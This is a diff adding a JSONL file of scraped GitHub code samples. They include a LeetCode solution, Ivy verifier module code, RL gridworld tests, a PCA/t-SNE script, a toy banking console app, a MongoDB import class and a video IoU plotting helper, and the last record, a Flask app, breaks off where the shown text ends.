diff --git "a/2645.jsonl" "b/2645.jsonl" new file mode 100644--- /dev/null +++ "b/2645.jsonl" @@ -0,0 +1,1091 @@ +{"seq_id":"33794924108","text":"# In place, minimizing total allocations and iterations\n\n# Invariant:\n# arr[i] is an even number at even index and\n# arr[j] is an odd number at odd index.\n# As soon as this invariant is violated, we can swap numbers to restore it.\n\nclass Solution:\n def sortArrayByParityII(self, arr: [int]) -> [int]:\n j = 1\n for i in range(0, len(arr), 2):\n if arr[i] % 2 == 1:\n while arr[j] % 2 == 1:\n j += 2\n arr[i], arr[j] = arr[j], arr[i]\n return arr\n\n\n# Naive solution runs in O(n), creating a new array O(n) -> space\nclass Solution0:\n def sortArrayByParityII(self, arr: [int]) -> [int]:\n res = [0] * len(arr)\n\n even_idx = 0\n odd_idx = 1\n\n for x in arr:\n if x % 2 == 0:\n res[even_idx] = x\n even_idx += 2\n else:\n res[odd_idx] = x\n odd_idx += 2\n return res\n\n\n# Naive solution runs in O(n), done in place O(1) -> space\nclass Solution1:\n def sortArrayByParityII(self, arr: [int]) -> [int]:\n even_idx = 0\n odd_idx = 1\n sz = len(arr)\n\n while even_idx < sz and odd_idx < sz:\n if arr[even_idx] % 2 == 0:\n even_idx += 2\n elif arr[odd_idx] % 2 == 1:\n odd_idx += 2\n else:\n # arr[even_idx] % 2 == 1 and arr[odd_idx] % 2 == 0\n\n # swap the mismatched indexes\n arr[even_idx], arr[odd_idx] = arr[odd_idx], arr[even_idx]\n even_idx += 2\n odd_idx += 2\n return arr\n\n\n\nprint(Solution().sortArrayByParityII([4,2,5,7]))","repo_name":"pradoz/leetcode_pset","sub_path":"py/sort-array-by-parity-ii.py","file_name":"sort-array-by-parity-ii.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28403432432","text":"import ivy_utils as iu\nimport ivy_logic as il\nimport ivy_logic_utils as lu\nimport ivy_solver\nimport ivy_concept_space as ics\nimport ivy_ast\n\nfrom collections import defaultdict\nimport string\nimport functools\n\n################################################################################\n#\n# This Context object contains all the definitions in the current Ivy module\n#\n################################################################################\n\nclass Module(object):\n\n def __init__(self):\n self.clear()\n\n def clear(self):\n\n # these fields represent all the module declarations\n\n self.all_relations = [] # this includes both base and derived relations in declaration order\n self.definitions = [] # TODO: these are actually \"derived\" relations\n self.labeled_axioms = []\n self.labeled_props = []\n self.labeled_inits = []\n self.init_cond = lu.true_clauses()\n self.relations = dict() # TODO: this is redundant, remove\n self.functions = dict() # TODO: this is redundant, remove\n self.updates = []\n self.schemata = dict()\n self.theorems = dict()\n self.instantiations = []\n self.concept_spaces = []\n self.labeled_conjs = [] # conjectures\n self.hierarchy = defaultdict(set)\n self.actions = {}\n self.predicates = {}\n self.assertions = []\n self.mixins = defaultdict(list)\n self.public_actions = set()\n self.isolates = {}\n self.exports = []\n self.imports = []\n self.delegates = []\n self.public_actions = set() # hash of the exported actions\n self.progress = [] # list of progress properties\n self.rely = [] # list of rely relations\n self.mixord = [] # list of mixin order relations\n self.destructor_sorts = {}\n self.sort_destructors = defaultdict(list)\n self.constructor_sorts = {}\n self.sort_constructors = defaultdict(list)\n self.privates = set() # set of string (names of private actions)\n self.interps = defaultdict(list) # maps type names to lists of labeled interpretions\n self.natives = [] # list of NativeDef\n self.native_definitions = [] # list of definitions whose rhs is NativeExpr\n self.initializers = [] # list of name,action pairs\n self.params = [] # list of symbol\n self.param_defaults = [] # list of string or None\n self.ghost_sorts = set() # set of sort names\n self.native_types = {} # map from sort names to ivy_ast.NativeType\n self.sort_order = [] # list of sorts names in order declared\n self.symbol_order = [] # list of symbols in order declared\n self.aliases = {} # map from name to name\n self.before_export = {} # map from string to action\n self.attributes = {} # map from name to atom\n self.variants = defaultdict(list) # map from sort name to list of sort\n self.supertypes = defaultdict(list) # map from sort name to sort\n self.ext_preconds = {} # map from action name to formula\n self.proofs = [] # list of pair (labeled formula, proof)\n self.named = [] # list of pair (labeled formula, atom)\n self.subgoals = [] # (labeled formula * labeled formula list) list\n self.isolate_info = None # IsolateInfo or None\n self.conj_actions = dict() # map from conj names to action name list\n self.conj_subgoals = None # None or labeled formula list\n self.assumed_invariants = [] # labeled_formula_list\n self.finite_sorts = set() # set of sort names\n self.isolate_proofs = {}\n self.isolate_proof = None\n \n self.sig = il.sig.copy() # capture the current signature\n\n def __enter__(self):\n global module\n self.old_module = module\n self.old_sig = il.sig\n module = self\n il.sig = self.sig\n ivy_solver.clear() # this clears cached values, needed when changing sig\n return self\n\n def __exit__(self,exc_type, exc_val, exc_tb):\n global module\n module = self.old_module\n il.sig = self.old_sig\n return False # don't block any exceptions\n\n def get_axioms(self):\n res = self.axioms\n for n,sch in self.schemata.iteritems():\n res += sch.formula.instances\n return res\n\n def background_theory(self, symbols=None):\n if hasattr(self,\"theory\"):\n return self.theory\n return lu.Clauses([])\n\n def add_to_hierarchy(self,name):\n if iu.ivy_compose_character in name:\n pref,suff = string.rsplit(name,iu.ivy_compose_character,1)\n self.add_to_hierarchy(pref)\n self.hierarchy[pref].add(suff)\n else:\n self.hierarchy['this'].add(name)\n\n def add_object(self,name):\n assert not isinstance(name,ivy_ast.This)\n self.hierarchy[name]\n\n @property\n def axioms(self):\n return [drop_label(x) for x in self.labeled_axioms if not x.temporal]\n\n @property\n def conjs(self):\n # This returns the list of conjectures as Clauses, without labels\n res = []\n for c in self.labeled_conjs:\n fmla = c.formula\n clauses = lu.formula_to_clauses(fmla)\n clauses.lineno = c.lineno\n res.append(clauses)\n return res\n\n def update_theory(self):\n theory = list(self.get_axioms())\n # axioms of the derived relations TODO: used only the\n # referenced ones, but we need to know abstract domain for\n # this\n for ldf in self.definitions:\n cnst = ldf.formula.to_constraint()\n if all(isinstance(p,il.Variable) for p in ldf.formula.args[0].args):\n if not isinstance(ldf.formula,il.DefinitionSchema):\n# theory.append(ldf.formula) # TODO: make this a def?\n ax = ldf.formula\n ax = ax.to_constraint() if isinstance(ax.rhs(),il.Some) else ax\n if ldf.formula.args[0].args:\n ax = il.ForAll(ldf.formula.args[0].args,ax)\n theory.append(ax) # TODO: make this a def?\n # extensionality axioms for structs\n for sort in sorted(self.sort_destructors):\n destrs = self.sort_destructors[sort]\n if any(d.name in self.sig.symbols for d in destrs):\n ea = il.extensionality(destrs)\n if il.is_epr(ea):\n theory.append(ea)\n # exclusivity axioms for variants\n theory.extend(self.variant_axioms())\n self.theory = lu.Clauses(theory)\n\n def variant_axioms(self):\n theory = []\n for sort in sorted(self.variants):\n sort_variants = self.variants[sort]\n if any(v.name in self.sig.sorts for v in sort_variants) and sort in self.sig.sorts:\n ea = il.exclusivity(self.sig.sorts[sort],sort_variants)\n theory.append(ea) # these are always in EPR\n return theory\n\n\n def theory_context(self):\n \"\"\" Set up to instiate the non-epr axioms \"\"\"\n \"\"\" Return a set of clauses which represent the background theory\n restricted to the given symbols (should be like the result of used_symbols).\n \"\"\"\n self.update_theory()\n\n non_epr = {}\n for ldf in self.definitions:\n cnst = ldf.formula.to_constraint()\n if not all(isinstance(p,il.Variable) for p in ldf.formula.args[0].args):\n non_epr[ldf.formula.defines()] = (ldf,cnst)\n return ModuleTheoryContext(functools.partial(instantiate_non_epr,non_epr))\n \n\n def is_variant(self,lsort,rsort):\n \"\"\" true if rsort is a variant of lsort \"\"\"\n return (all(isinstance(a,il.UninterpretedSort) for a in (lsort,rsort))\n and lsort.name in self.variants and rsort in self.variants[lsort.name])\n\n def variant_index(self,lsort,rsort):\n \"\"\" returns the index of variant rsort of lsort \"\"\"\n for idx,sort in enumerate(self.variants[lsort.name]):\n if sort == rsort:\n return idx\n\n # This makes a semi-shallow copy so we can side-effect \n\n def copy(self):\n m = Module()\n from copy import copy\n for x,y in self.__dict__.iteritems():\n if x is 'sig':\n m.__dict__[x] = y.copy()\n else:\n m.__dict__[x] = copy(y)\n return m\n\n # This removes implemented types\n\n def canonize_types(self):\n global sort_refinement\n with self.sig:\n sort_refinement = il.sort_refinement()\n if len(list(sort_refinement)) == 0:\n return # save time if nothing to do\n self.definitions = resort_labeled_asts(self.definitions)\n self.labeled_axioms = resort_labeled_asts(self.labeled_axioms)\n self.labeled_props = resort_labeled_asts(self.labeled_props)\n self.labeled_inits = resort_labeled_asts(self.labeled_inits)\n self.init_cond = resort_clauses(self.init_cond)\n self.concept_spaces = resort_concept_spaces(self.concept_spaces)\n self.labeled_conjs = resort_labeled_asts(self.labeled_conjs)\n self.assertions = resort_labeled_asts(self.assertions)\n self.progress = resort_asts(self.progress)\n self.initializers = resort_name_ast_pairs(self.initializers)\n self.params = resort_symbols(self.params)\n self.ghost_sorts = remove_refined_sortnames_from_set(self.ghost_sorts)\n self.sort_order = remove_refined_sortnames_from_list(self.sort_order)\n self.symbol_order = resort_symbols(self.symbol_order)\n self.aliases = resort_aliases_map(self.aliases)\n self.before_export = resort_map_any_ast(self.before_export)\n self.ext_preconds = resort_map_any_ast(self.ext_preconds)\n lu.resort_sig(sort_refinement)\n\n \n # Make concept spaces from the conjecture\n\n def update_conjs(self):\n mod = self\n for i,cax in enumerate(mod.labeled_conjs):\n fmla = cax.formula\n csname = 'conjecture:'+ str(i)\n variables = list(lu.used_variables_ast(fmla))\n sort = il.RelationSort([v.sort for v in variables])\n sym = il.Symbol(csname,sort)\n space = ics.NamedSpace(il.Literal(0,fmla))\n mod.concept_spaces.append((sym(*variables),space))\n\n def call_graph(self):\n callgraph = defaultdict(list)\n for actname,action in self.actions.iteritems():\n for called_name in action.iter_calls():\n callgraph[called_name].append(actname)\n return callgraph\n\ndef resort_ast(ast):\n return lu.resort_ast(ast,sort_refinement)\n\ndef resort_clauses(clauses):\n return lu.resort_clauses(clauses,sort_refinement)\n\ndef resort_asts(asts):\n return [lu.resort_ast(ast,sort_refinement) for ast in asts]\n\ndef resort_labeled_asts(asts):\n return [ast.clone([ast.args[0],lu.resort_ast(ast.args[1],sort_refinement)]) for ast in asts]\n\nresort_concept_spaces = resort_asts\n\ndef resort_map_symbol_sort(m):\n return dict((lu.resort_symbol(sym,sort_refinement),lu.resort_sort(sort,sort_refinement))\n for sym,sort in m.iteritems())\n\ndef resort_name_ast_pairs(pairs):\n return [(n,lu.resort_ast(a,sort_refinement)) for n,a in pairs]\n\ndef resort_symbols(symbols):\n return [lu.resort_symbol(symbol,sort_refinement) for symbol in symbols]\n\ndef remove_refined_sortnames_from_set(sorts):\n refd = set(s.name for s in sort_refinement)\n return set(n for n in sorts if n not in refd)\n\ndef remove_refined_sortnames_from_list(sorts):\n refd = set(s.name for s in sort_refinement)\n return list(n for n in sorts if n not in refd)\n\ndef resort_aliases_map(amap):\n res = dict(amap.iteritems())\n for s1,s2 in sort_refinement.iteritems():\n res[s1.name] = s2.name\n\ndef resort_map_any_ast(m):\n return dict((a,lu.resort_ast(b,sort_refinement)) for a,b in m.iteritems())\n\n\nmodule = None\n\ndef instantiate_non_epr(non_epr,ground_terms):\n theory = []\n if ground_terms != None:\n matched = set()\n for term in ground_terms:\n if term.rep in non_epr and term not in matched:\n ldf,cnst = non_epr[term.rep]\n subst = dict((v,t) for v,t in zip(ldf.formula.args[0].args,term.args)\n if not isinstance(v,il.Variable))\n if all(lu.is_ground_ast(x) for x in subst.values()):\n inst = lu.substitute_constants_ast(cnst,subst)\n theory.append(inst)\n# iu.dbg('inst')\n matched.add(term)\n return lu.Clauses(theory)\n\n\ndef background_theory(symbols = None):\n return module.background_theory(symbols)\n\ndef find_action(name):\n return module.actions.get(name,None)\n\nparam_logic = iu.Parameter(\"complete\",','.join(il.default_logics),\n check=lambda ls: all(s in il.logics for s in ls.split(',')))\n\ndef logics():\n return param_logic.get().split(',')\n\ndef drop_label(labeled_fmla):\n return labeled_fmla.formula if hasattr(labeled_fmla,'formula') else labeled_fmla\n\nclass ModuleTheoryContext(object):\n\n def __init__(self,instantiator):\n self.instantiator = instantiator\n\n def __enter__(self):\n self.old_instantiator = lu.instantiator\n lu.instantiator = self.instantiator\n return self\n\n def __exit__(self,exc_type, exc_val, exc_tb):\n lu.instantiator = self.old_instantiator\n return False # don't block any exceptions\n\ndef relevant_definitions(symbols):\n dfn_map = dict((ldf.formula.defines(),ldf.formula.args[1]) for ldf in module.definitions)\n rch = set(iu.reachable(symbols,lambda sym: lu.symbols_ast(dfn_map[sym]) if sym in dfn_map else []))\n return [ldf for ldf in module.definitions if ldf.formula.defines() in rch]\n \ndef sort_dependencies(mod,sortname,with_variants=True):\n if sortname in mod.sort_destructors:\n return [s.name for destr in mod.sort_destructors[sortname]\n for s in destr.sort.dom[1:] + (destr.sort.rng,)]\n if sortname in mod.native_types:\n t = mod.native_types[sortname]\n if isinstance(t,ivy_ast.NativeType):\n return [s.rep for s in t.args[1:] if s.rep in mod.sig.sorts]\n if with_variants and sortname in mod.variants:\n return [s.name for s in mod.variants[sortname]]\n return []\n\n# Holds info about isolate for user consumption\n#\n# -- implementations is a list of pairs (mixer,mixee,action) for present action implementaitons\n# -- monitors is a list of triples (mixer,mixee,action) for present monitors\n\nclass IsolateInfo(object):\n def __init__(self):\n self.implementations,self.monitors = [],[]\n","repo_name":"microsoft/ivy","sub_path":"ivy/ivy_module.py","file_name":"ivy_module.py","file_ext":"py","file_size_in_byte":14793,"program_lang":"python","lang":"en","doc_type":"code","stars":219,"dataset":"github-code","pt":"82"} +{"seq_id":"22327252449","text":"#!/usr/bin/env python3\n\nimport random\nimport unittest\n\nimport numpy as np\nfrom ml.rl.test.gridworld.gridworld_base import DISCOUNT\nfrom ml.rl.test.gridworld.gridworld_continuous import GridworldContinuous\nfrom ml.rl.test.gridworld.gridworld_continuous_enum import GridworldContinuousEnum\nfrom ml.rl.test.gridworld.gridworld_evaluator import GridworldContinuousEvaluator\nfrom ml.rl.thrift.core.ttypes import (\n ContinuousActionModelParameters,\n KnnParameters,\n RLParameters,\n TrainingParameters,\n)\nfrom ml.rl.training.continuous_action_dqn_trainer import ContinuousActionDQNTrainer\nfrom ml.rl.training.evaluator import Evaluator\n\n\nclass TestGridworldContinuous(unittest.TestCase):\n def setUp(self):\n self.minibatch_size = 512\n super(self.__class__, self).setUp()\n np.random.seed(0)\n random.seed(0)\n\n def get_sarsa_parameters(self):\n return ContinuousActionModelParameters(\n rl=RLParameters(\n gamma=DISCOUNT,\n target_update_rate=1.0,\n reward_burnin=100,\n maxq_learning=False,\n ),\n training=TrainingParameters(\n layers=[-1, 256, 128, -1],\n activations=[\"relu\", \"relu\", \"linear\"],\n minibatch_size=self.minibatch_size,\n learning_rate=0.1,\n optimizer=\"ADAM\",\n ),\n knn=KnnParameters(model_type=\"DQN\"),\n )\n\n def get_sarsa_trainer(self, environment):\n return ContinuousActionDQNTrainer(\n self.get_sarsa_parameters(),\n environment.normalization,\n environment.normalization_action,\n )\n\n def test_trainer_sarsa(self):\n environment = GridworldContinuous()\n samples = environment.generate_samples(100000, 1.0)\n trainer = self.get_sarsa_trainer(environment)\n predictor = trainer.predictor()\n evaluator = GridworldContinuousEvaluator(\n environment, False, DISCOUNT, False, samples\n )\n tdps = environment.preprocess_samples(samples, self.minibatch_size)\n\n for tdp in tdps:\n trainer.train_numpy(tdp, None)\n evaluator.evaluate(predictor)\n\n self.assertLess(evaluator.evaluate(predictor), 0.15)\n\n def test_trainer_sarsa_enum(self):\n environment = GridworldContinuousEnum()\n samples = environment.generate_samples(100000, 1.0)\n trainer = self.get_sarsa_trainer(environment)\n predictor = trainer.predictor()\n evaluator = GridworldContinuousEvaluator(\n environment, False, DISCOUNT, False, samples\n )\n tdps = environment.preprocess_samples(samples, self.minibatch_size)\n\n for tdp in tdps:\n trainer.train_numpy(tdp, None)\n evaluator.evaluate(predictor)\n\n self.assertLess(evaluator.evaluate(predictor), 0.15)\n\n def test_evaluator_ground_truth(self):\n environment = GridworldContinuous()\n samples = environment.generate_samples(200000, 1.0)\n true_values = environment.true_values_for_sample(\n samples.states, samples.actions, False\n )\n # Hijack the reward timeline to insert the ground truth\n samples.reward_timelines = []\n for tv in true_values:\n samples.reward_timelines.append({0: tv})\n trainer = self.get_sarsa_trainer(environment)\n evaluator = Evaluator(None, 10, DISCOUNT)\n tdps = environment.preprocess_samples(samples, self.minibatch_size)\n\n for tdp in tdps:\n trainer.train_numpy(tdp, evaluator)\n\n self.assertLess(evaluator.mc_loss[-1], 0.1)\n","repo_name":"PacktPublishing/Hands-On-Deep-Learning-with-Caffe2","sub_path":"Section_6_BlueWhale/ml/rl/test/gridworld/test_gridworld_continuous.py","file_name":"test_gridworld_continuous.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"8790152938","text":"import pytest\n\nimport application\n\n\n@pytest.mark.parametrize(\n \"name,expected\",\n [\n (\"Ed\", \"Hello Ed\"),\n ],\n)\ndef test_hello(name, expected):\n result = application.hello(name=name)\n assert result == expected\n\n\ndef test_value_error():\n with pytest.raises(application.NotAStringError):\n _ = application.hello(name=1)\n","repo_name":"edjchapman/PythonProjectTemplate","sub_path":"test_application.py","file_name":"test_application.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3790572651","text":"import joblib\nimport numpy as np\nfrom sklearn.manifold import TSNE\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler, Normalizer\nfrom Utils import get_color, draw_scatter\n\nprint('Loading data...')\ncompanies, rate, data_after_process = joblib.load('data/data_train_after.pkl')\nup_connection = joblib.load('data/down_connection.pkl')\n\n\n# Normalize\ndef get_normalize(data):\n prepress = Normalizer()\n X = prepress.fit_transform(data)\n return X\n\n\n# t-SNE\ndef t_SNE(data, dim=2, perp=30, with_normalize=False):\n if with_normalize:\n data = get_normalize(data)\n\n data = np.array(data)\n tsne = TSNE(n_components=dim, init='pca', perplexity=perp, method='exact')\n tsne.fit_transform(data)\n\n return tsne.embedding_\n\n\n# PCA\ndef get_pca(data, c=3, with_normalize=False):\n if with_normalize:\n data = get_normalize(data)\n\n pca_result = PCA(n_components=c)\n pca_result.fit(data)\n newX = pca_result.fit_transform(data)\n\n return newX, pca_result.explained_variance_ratio_, pca_result\n\n\ncolors = get_color(rate, colors=None)\n\n# t-SNE\n# dim_data = t_SNE(up_connection, perp=50, with_normalize=True)\n\n# # PCA\ndim_data, ratio, result = get_pca(up_connection, c=20, with_normalize=True)\nprint(ratio, sum(ratio))\n\njoblib.dump(dim_data, 'data/dim_data.pkl')\n\n# get two coordinates\nx = [i[0] for i in dim_data]\ny = [i[1] for i in dim_data]\n\ndraw_scatter(x, y, rate, colors)\n","repo_name":"Cheereus/PythonMemory","sub_path":"Application/MathModel/DataVisualize.py","file_name":"DataVisualize.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20458374854","text":"print(\"=\"*20)\ncustomer_name = ['Jan', 'David', 'Jack', 'Eloit']\ncustomer_pins = ['0123', '4561', '7891', '1011']\ncustomer_balances = [1000, 2000, 3000, 4000]\n\n\nwhile True:\n\tprint(\"+\"*20)\n\tprint(\"+++++ welcome +++++\")\n\tprint(\"1- Open a new account.\")\n\tprint(\"2- Withdraw Money.\")\n\tprint(\"3- Deposit Money.\")\n\tprint(\"4- Check Customer & Balance.\")\n\tprint(\"5- Exit\")\n\tprint(\"+\"*20)\n\t\n\tchoice_number = input(\"Select your choice: \")\n\t\n\t\n\tif choice_number == \"1\":\t\n\t\tprint(\"++++++ Customer registration ++++++\")\n\t\tname = input(\"Enter fullname: \")\n\t\tcustomer_name.append(name)\n\t\tpin = str(input(\"Enter pin: \"))\n\t\tcustomer_pins.append(pin)\n\t\tbalance = 0\n\t\tdeposition = int(input(\"Enter a value to deposit to start an account: \"))\n\t\tbalance = balance + deposition\n\t\tcustomer_balances.append(balance)\n\t\tprint(\"--- new account created successfully ! ---\")\n\t\t\n\t\n\telif choice_number == \"2\":\n\t\tname = input(\"Enter name: \")\n\t\tpin = input(\"Enter pin: \")\n\t\tfor x in range(len(customer_name)):\n\t\t\tbalance = int(customer_balances[x])\n\t\t\tif name == customer_name[x]:\n\t\t\t\tif pin == customer_pins[x]:\n\t\t\t\t\tprint(\"Your Current Balance : \", customer_balances[x])\n\t\t\t\t\twithdrawal = int(input(\"Enter Value to Withdraw: \"))\n\t\t\t\t\t\n\t\t\t\t\tif withdrawal > balance:\n\t\t\t\t\t\tdeposition = input(\"Please Deposit a higher Value because your Balance mentioned above is not enough: \")\n\t\t\t\t\telse:\n\t\t\t\t\t\tbalance = balance - withdrawal\n\t\t\t\t\t\tprint(\"--- Withdraw Duccessfull!---\")\n\t\t\t\t\t\tcustomer_balances[x] = balance\n\t\t\t\t\t\tprint(\"Your new Balance: \", balance )\n\t\t\t\t\t\tbreak\n\t\t\tprint(\"Your name and pin does not match!\")\n\t\n\t\n\telif choice_number == \"3\":\n\t\tname = input(\"Enter name: \")\n\t\tpin = input(\"Enter pin: \")\n\t\tfor x in range(len(customer_name)):\n\t\t\tbalance = int(customer_balances[x])\n\t\t\tif name == customer_name[x]:\n\t\t\t\tif pin == customer_pins[x]:\n\t\t\t\t\tprint(\"Your Current Balance : \", customer_balances[x])\n\t\t\t\t\tdeposition = int(input(\"Enter Value to deposit: \"))\n\t\t\t\t\tbalance = balance + deposition\n\t\t\t\t\tcustomer_balances[x] = balance\n\t\t\t\t\tprint(\"---Deposition successful!---\")\n\t\t\t\t\tprint(\"Your New Balance : \", balance)\n\t\t\t\t\tbreak\n\t\t\tprint(\"Your name and pin does not match!\")\n\t\t\t\n\telif choice_number == \"4\":\n\t\tprint(\"Customer name list and balances mentioned below :\")\n\t\tfor item in range(len(customer_name)):\n\t\t\tprint(customer_name[item],customer_balances[item])\n\t\t\t\n\t\n\telif choice_number == \"5\":\n\t\tprint(\"Thank you for using our banking system!\")\n\t\tbreak\n\telse:\n\t\tprint(\"Invalid option selected by the customer\")\n \t\t\n \n\t\t\t\t\t\n\t\n\t\n\t\n","repo_name":"houshmandipour/mini-projects-python","sub_path":"simple_banking_system.py","file_name":"simple_banking_system.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40581385145","text":"# -*- coding: utf-8 -*-\n# __author__ = 'qingchen.zhang'\n\nfrom biocluster.api.database.base import Base, report_check\nfrom mainapp.libs.param_pack import group_detail_sort, param_pack\nimport re\nimport json\nimport datetime\nfrom bson.objectid import ObjectId\nfrom types import StringTypes\nfrom mbio.packages.metaasv.common_function import find_group_name\n\n\nclass Barpie(Base):\n\n def __init__(self, bind_object):\n super(Barpie, self).__init__(bind_object)\n self._project_type = 'metaasv'\n self.task_id = \"\"\n self.name_id = dict()\n\n @report_check\n def add_barpie(self, params, from_otu_table, name=None, newick_id=None, spname_spid=None, group_id=None):\n if from_otu_table != 0 and not isinstance(from_otu_table, ObjectId):\n if isinstance(from_otu_table, StringTypes):\n from_otu_table = ObjectId(from_otu_table)\n else:\n self.bind_object.set_error(\"from_otu_table必须为ObjectId对象或其对应的字符串!\")\n collection = self.db[\"asv\"]\n result = collection.find_one({\"_id\": from_otu_table})\n if not result:\n self.bind_object.logger.error(\"无法根据传入的_id:{}barpie在表里找到相应的记录\".format(str(from_otu_table)))\n self.bind_object.set_error(\"在sg_otu表中找不到相应记录\")\n project_sn = result['project_sn']\n self.task_id = result['task_id']\n if spname_spid and params:\n if group_id not in [None, \"All\", \"all\", \"ALL\"]:\n ## 调用common模块,功能将导入的分组方案返回group_detail\n group_detail = find_group_name(self.task_id)\n else:\n group_detail = {'All': [str(i) for i in spname_spid.values()]}\n params['group_detail'] = group_detail_sort(group_detail)\n params['level_id'] = int(7)\n params = param_pack(params)\n if not name:\n name = \"barpie_\" + datetime.datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n insert_data = {\n \"project_sn\": project_sn,\n 'task_id': self.task_id,\n 'asv_id': str(from_otu_table),\n 'name': \"CommunityBarPie_Origin\",\n \"params\": params,\n 'status': 'end',\n 'desc': 'BarPie主表',\n 'created_ts': datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n }\n collection = self.db[\"barpie\"]\n inserted_id = collection.insert_one(insert_data).inserted_id\n return inserted_id\n\n @report_check\n def add_sg_otu_detail(self, file_path, main_id):\n self.bind_object.logger.info(\"开始导入barpie_detail表\")\n find_otu = self.db['barpie'].find_one({\"_id\": ObjectId(main_id)})\n if find_otu:\n self.task_id = find_otu['task_id']\n else:\n self.bind_object.set_error(\"没有找到相关的主表信息\")\n spe_str=\"\" #guanqing.zou 物种按丰度排序,以|分割的字符串 20180411\n with open(file_path, 'rb') as r:\n lines = r.readlines()\n head = lines[0].strip('\\r\\n')\n head = re.split('\\t', head)\n sample_list = head[1:]\n data_list = []\n rank = 1\n for line in lines[1:]:\n line = line.strip().split('\\t')\n sample_num = [float(x) for x in line[1:]]\n classify_list = re.split(r\"\\s*;\\s*\", line[0])\n spe_str+=classify_list[-1]+'|' #guanqing 20180411\n if len(re.split(\"; \", line[0])) > 1:\n species_name = line[0].strip().split(\"; \")[-1].strip()\n elif len(re.split(\";\", line[0])) > 1:\n species_name = line[0].strip().split(\";\")[-1].strip()\n else:\n species_name = line[0]\n otu_detail = {\n \"barpie_id\": ObjectId(main_id),\n \"species_name\": species_name,\n \"rank\": rank\n }\n rank += 1\n values_dict = dict(zip(sample_list, sample_num))\n data_list.append(dict(otu_detail, **values_dict))\n try:\n collection = self.db['barpie_detail']\n collection.insert_many(data_list)\n except Exception as e:\n self.bind_object.logger.error(\"导入barpie_detail表格信息出错:{}\".format(e))\n else:\n self.bind_object.logger.info(\"导入barpie_detail表格成功\")\n try:\n main_collection = self.db['barpie']\n settled_params = {'software': \"python-2.7\"}\n settled_params_json = json.dumps(settled_params, sort_keys=True, separators=(',', ':'))\n column_data = {\n \"column_data\": {\"name\":\"species_name\",\n \"data\": sample_list,\n \"category\": \"\"}\n }\n column_data_json = json.dumps(column_data, sort_keys=True, separators=(',', ':'))\n pie_data = {\n \"pie_data\": {\"name\":\"species_name\",\n \"data\": sample_list,\n \"category\": \"\"}\n }\n pie_data_json = json.dumps(pie_data, sort_keys=True, separators=(',', ':'))\n main_collection.update({\"_id\":ObjectId(main_id)},{\"$set\":{\"settled_params\":settled_params_json,\n \"main_id\": ObjectId(main_id),\n \"column_data\":column_data_json,\n \"pie_data\":pie_data_json,\n }})\n except Exception as e:\n self.bind_object.logger.error(\"更新barpie表格信息出错:{}\".format(e))\n else:\n self.bind_object.logger.info(\"更新barpie表格成功\")\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/api/database/metaasv/barpie.py","file_name":"barpie.py","file_ext":"py","file_size_in_byte":6064,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"8625180526","text":"from Metrics import *\nimport cv2\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport os\nimport os.path as path\n\ndef video_iou_plot(gt, det, video_path, title='', save_path='results'):\n frames = list(gt.keys())\n overlaps = []\n\n for frame in frames:\n boxes1 = [d.bbox for d in gt.get(frame)]\n boxes2 = [d.bbox for d in det.get(frame, [])]\n iou = mean_intersection_over_union(boxes1, boxes2)\n overlaps.append(iou)\n\n cap = cv2.VideoCapture(video_path)\n height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n\n fig, ax = plt.subplots(2, 1, figsize=(10, 5))\n image = ax[0].imshow(np.zeros((height, width)))\n line, = ax[1].plot(frames, overlaps)\n artists = [image, line]\n\n def update(i):\n cap.set(cv2.CAP_PROP_POS_FRAMES, frames[i])\n ret, img = cap.read()\n for d in gt[frames[i]]:\n cv2.rectangle(img, (int(d.xtl), int(d.ytl)), (int(d.xbr), int(d.ybr)), (0, 255, 0), 2)\n for d in det[frames[i]]:\n cv2.rectangle(img, (int(d.xtl), int(d.ytl)), (int(d.xbr), int(d.ybr)), (0, 0, 255), 2)\n artists[0].set_data(img[:, :, ::-1])\n artists[1].set_data(frames[:i + 1], overlaps[:i + 1])\n return artists\n\n ani = animation.FuncAnimation(fig, update, len(frames), interval=2, blit=True)\n\n ax[0].set_xticks([])\n ax[0].set_yticks([])\n ax[1].set_ylim(0, 1)\n ax[1].set_xlabel('#frame')\n ax[1].set_ylabel('mean IoU')\n fig.suptitle(title)\n if save_path is not None:\n if not path.exists(save_path):\n os.makedirs(save_path)\n ani.save(os.path.join(save_path, 'video_iou.gif'), writer='ffmpeg')\n else:\n plt.show()","repo_name":"mcv-m6-video/mcv-m6-2021-team6","sub_path":"W4/UtilsW3.py","file_name":"UtilsW3.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33890814538","text":"import os\n\nfrom flask import Flask, session, render_template, request, redirect, url_for, jsonify\nfrom flask_session import Session\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import scoped_session, sessionmaker\nimport requests\n\napp = Flask(__name__)\n\n# Check for environment variable\nif not os.getenv(\"DATABASE_URL\"):\n raise RuntimeError(\"DATABASE_URL is not set\")\n\n# Configure session to use filesystem\napp.config[\"SESSION_PERMANENT\"] = False\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\nSession(app)\n\n# Set up database\nengine = create_engine(os.getenv(\"DATABASE_URL\"))\ndb = scoped_session(sessionmaker(bind=engine))\n\n\n@app.route(\"/\")\ndef index():\n return 